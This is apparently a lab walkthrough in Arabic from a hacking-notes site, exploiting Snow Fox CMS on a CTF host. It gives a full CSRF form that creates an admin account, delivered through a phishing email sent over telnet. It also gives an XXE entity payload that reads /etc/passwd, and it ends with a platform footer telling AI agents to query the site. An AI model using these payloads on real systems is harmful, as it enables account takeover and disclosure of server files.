> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/cms/snowfox-cms-exploitation.md).

# SnowFox

## ثغرة CSRF

يكشف SearchExploit عن ثغرة CSRF في Snow Fox CMS.

<figure><img src="/files/0186cc4652d56fd4d52dca9258e6e8aae25a8644" alt=""><figcaption></figcaption></figure>

**ملف HTML الضعيف:**

```html
<html>
  <body>
    <form action="http://casino-royale.local/vip-client-portfolios/?uri=admin/accounts/create" method="POST">
      <input type="hidden" name="emailAddress" value="jordan@jordan.com" />
      <input type="hidden" name="verifiedEmail" value="verified" />
      <input type="hidden" name="username" value="jordan-admin" />
      <input type="hidden" name="newPassword" value="jordan-password" />
      <input type="hidden" name="confirmPassword" value="jordan-password" />
      <input type="hidden" name="userGroups[]" value="34" />
      <input type="hidden" name="userGroups[]" value="33" />
      <input type="hidden" name="memo" value="CSRFmemo" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="formAction" value="submit" />
      <input type="submit" value="إرسال النموذج" />
    </form>
  </body>
</html>
```

[CSRF](/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-request-forgery-csrf.md) محاولة إنشاء حساب مسؤول في Snow Fox CMS

* اتصل عبر telnet على منفذ SMTP 25.

<figure><img src="/files/b04036d55a0c3fef2d05194dea60bec1c089f3bb" alt=""><figcaption></figcaption></figure>

* أرسل رسالة بريد إلكتروني إلى `valenka@casino-royale.local` متضمنةً الرابط إلى خادم HTTP الخاص بالمهاجم بلغة Python الذي يستضيف ملف HTML الضعيف.

<figure><img src="/files/f0b065d64357f1a713a1813423b1fb5e901e54b3" alt=""><figcaption></figcaption></figure>

**سجّل الدخول باستخدام حساب مسؤول CMS:**

* سجّل الدخول باستخدام بيانات الاعتماد الجديدة، مما يؤدي إلى إنشاء حساب مسؤول على Snow Fox CMS.

<figure><img src="/files/a9132aa7e2474698436ee391af1510d35e8d4f0e" alt=""><figcaption></figcaption></figure>

#### بعد استغلال ثغرة CSRF، تم إنشاء حساب مدير في Snow Fox CMS.

<figure><img src="/files/25ed3d6d6dd586b299fcabcc5dbf7ef188c620c0" alt=""><figcaption></figcaption></figure>

#### تحديد التلميح في وصف المستخدم

يحتوي وصف مستخدم CMS على تلميح إضافي يشير إلى دليل يجب اتباعه.

<figure><img src="/files/e1e57dccbabf0d75b2c03ad1be73465d90e8a9f8" alt=""><figcaption></figcaption></figure>

## ثغرة XXE

<div data-full-width="true"><figure><img src="/files/f8b11034bf712dea1aa4c25a34c35493fb1e1b74" alt=""><figcaption></figcaption></figure></div>

#### تحليل الشيفرة المصدرية لبنية XML التي تم اعتراضها باستخدام Burp Suite

<figure><img src="/files/d9f577febb481177fc448a23e11ee7c570302dca" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f45db65f68f30b488e055467705efe3b5035060e" alt=""><figcaption></figcaption></figure>

#### محاولة هجوم XXE (حقن كيان خارجي في XML)

* غيّر طريقة الطلب من GET إلى POST.

<figure><img src="/files/082716095365c504f8ad12bee2c15e5d5674d0c7" alt=""><figcaption></figcaption></figure>

* حاول حقن قالب XXE في طلب POST.

<pre class="language-xml"><code class="lang-xml">&#x3C;creds>
<strong>	&#x3C;customer>
</strong>		جوردان
	&#x3C;/customer>
	&#x3C;password>
		jordan123
	&#x3C;/password>
&#x3C;/creds>
</code></pre>

* لاحظ كيف يفسر الخادم قالب XXE.

<figure><img src="/files/2a1f4914bc1d36b5fe0f4d3faf82ca4f9fbf0267" alt=""><figcaption></figcaption></figure>

* للوصول إلى ملفات النظام، أنشئ **كيان**، على سبيل المثال `myFile`: `<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>`

ثم أرسل النتيجة في متغير باستخدام `&myFile` مثل هذا:

<figure><img src="/files/759664dc3941a71aefe9d1f504c2539c85bf6555" alt=""><figcaption></figcaption></figure>

#### تحديد `ftpUserULTRA` المستخدم

<figure><img src="/files/4ee2396944be2452423daae24bc38c9e0b260797" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/cms/snowfox-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
